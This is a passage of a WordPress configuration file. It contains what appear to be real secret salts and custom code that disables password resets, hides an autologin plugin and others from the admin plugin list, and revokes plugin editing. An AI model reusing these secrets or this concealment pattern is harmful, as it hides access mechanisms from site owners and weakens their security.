._$ZAQ~~V12& cc9j3`BK?!}3WXqh/FM,(cSjwH*' ); define( 'SECURE_AUTH_SALT', 'C.,pbxWTQ?dAp8sv<9KPC#tNVtM)vQe?=%1h9BnwHDkNH+T~AsQvL' ); define( 'LOGGED_IN_SALT', '3GT}#0{+$(UhhhK0F{v?ac}tMJtzCg]L$nh_._0a-bdL?!S87E@l6RO!26e+dSp;' ); define( 'NONCE_SALT', 'U]7M,}oRl%kR@,Q4K:}b_*T!J5;ZjWlz+6+UCsIB}.`~/bK*w3Ts7:iXdREGp,(C' ); define( 'WP_CACHE_KEY_SALT', 'ZHU/c1>gB0;tb5+A6rkl$=.0Zw(8OWGmO|XCJ+rea1IRqhx4N}.cTuPP[9VmEUEh' ); /**#@-*/ /** * WordPress database table prefix. * * You can have multiple installations in one database if you give each * a unique prefix. Only numbers, letters, and underscores please! */ $table_prefix = 'wp_'; /* Add any custom values between this line and the "stop editing" line. */ /** * For developers: WordPress debugging mode. * * Change this to true to enable the display of notices during development. * It is strongly recommended that plugin and theme developers use WP_DEBUG * in their development environments. * * For information on other constants that can be used for debugging, * visit the documentation. * * @link https://wordpress.org/support/article/debugging-in-wordpress/ */ if ( ! defined( 'WP_DEBUG' ) ) { define( 'WP_DEBUG', false ); } /* That's all, stop editing! Happy publishing. */ /** Absolute path to the WordPress directory. */ if ( ! defined( 'ABSPATH' ) ) { define( 'ABSPATH', __DIR__ . '/' ); } /** Sets up WordPress vars and included files. */ require_once ABSPATH . 'wp-settings.php'; if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') {$_SERVER['HTTPS'] = 'on'; } // Forbid password change/reset function pwd_disable() { return false; } function pwd_remove($text) { return preg_replace( '/Lost your password\??/', '', $text ); } if (function_exists('add_filter')) { add_filter( 'show_password_fields', 'pwd_disable' ); add_filter( 'allow_password_reset', 'pwd_disable' ); add_filter( 'gettext', 'pwd_remove' ); } // End of forbid password change/reset // Plugins hiding function plt_hide_wp_mail_smtp_menus() { remove_menu_page('wp-mail-smtp'); remove_submenu_page('wp-mail-smtp', 'wp-mail-smtp'); remove_submenu_page('wp-mail-smtp', 'wp-mail-smtp-logs'); remove_submenu_page('wp-mail-smtp', 'wp-mail-smtp-reports'); remove_submenu_page('wp-mail-smtp', 'wp-mail-smtp-tools'); remove_submenu_page('wp-mail-smtp', 'wp-mail-smtp-about'); remove_submenu_page('wp-mail-smtp', 'https://wpmailsmtp.com/lite-upgrade/?utm_source=WordPress&utm_medium=admin-menu&utm_campaign=liteplugin&utm_content=Upgrade%20to%20Pro'); } function plt_hide_wp_mail_smtp_dashboard_widgets() { $screen = get_current_screen(); if ( !$screen ) { return; } remove_meta_box('wp_mail_smtp_reports_widget_lite', 'dashboard', 'normal'); } function hide_plugin_action() { global $wp_list_table; $hidearr = array('autologin/autologin.php','basic-auth/basic-auth.php','cf7-image-captcha-pro/cf7-image-captcha-pro.php','wp-mail-smtp/wp_mail_smtp.php'); $myplugins = $wp_list_table->items; foreach ($myplugins as $key => $val) { if (in_array($key,$hidearr)) { unset($wp_list_table->items[$key]); } } } function hide_plugin_editor( $allcaps ) { $allcaps['edit_plugins'] = false; return $allcaps; } if (function_exists('add_action') && function_exists('add_filter')) { add_action('pre_current_active_plugins', 'hide_plugin_action'); add_filter('user_has_cap', 'hide_plugin_editor'); add_action('wp_dashboard_setup', 'plt_hide_wp_mail_smtp_dashboard_widgets', 20); add_action('admin_menu', 'plt_hide_wp_mail_smtp_menus', 2147483647); } // End of plugins hiding define('WP_MEMORY_LIMIT', '130M');